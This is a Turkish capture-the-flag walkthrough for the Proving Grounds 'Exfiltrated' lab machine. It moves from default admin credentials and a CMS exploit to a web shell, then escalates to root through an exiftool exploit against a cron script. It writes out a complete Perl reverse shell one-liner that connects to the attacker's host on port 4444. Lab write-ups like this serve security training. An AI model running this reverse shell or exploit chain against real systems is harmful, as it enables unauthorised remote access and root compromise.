Proving Grounds Practice — Exfiltrated — giselle

Merhaba, bugün Proving Grounds Practice’ten Exfiltrated makinesinin çözümünü anlatacağım.

İlk olarak Nmap taraması başlatıyoruz.

Nmap çıktısında dönen dizinleri 80 portu üzerinden denedim. /panel sayfasındaki giriş alanına admin:admin yazarak giriş yapabildim.

Aynı zamanda CMS’e özel bir exploit olup olmadığını araştırdım.

Bulunan exploit’i denediğimizde web shell elde ettik.

Reverse Shell Generator kullanarak aşağıdaki kodu oluşturduk ve çalıştırdık:

1perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.45.233:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Kendi makinemizde shell almak için web shell üzerinden aşağıdaki komutu çalıştırdık ve belirlediğimiz 4444 portunu dinledik.

Ardından shell’i yükselttik:

1python3 -c 'import pty;pty.spawn("/bin/bash")'; export TERM=xterm-256color

Yetki yükseltmek için linpeas.sh kuruyoruz. Linpeas çıktısında image-exif.sh dosyasının sürekli çalıştığını gördüm.

Kodu incelediğimizde exiftool kullandığını görüyoruz.

Exiftool için exploit araştırması yaptım ve çıkan ilk exploit’i denemeye karar verdim.

Dosyayı kendi dizinime kopyaladıktan sonra çalıştırmayı denedim. -s bayrağı ile reverse shell alabileceğimiz anlaşıldı.

image.jpg dosyamızı oluşturduktan sonra Python sunucusu aracılığıyla aktarıyoruz.

Görüntü dosyasını oluştururken 4545 portunu dinleyecek şekilde ayarladık. Bu portu dinlediğimizde root yetkisiyle shell aldık.

Root olduk! proof.txt dosyamızı alabilir ve makineyi tamamlayabiliriz.

Bayrağı bulduk, challenge tamamlandı. Hacklemaya devam!

Pratik mükemmelleştirir. :)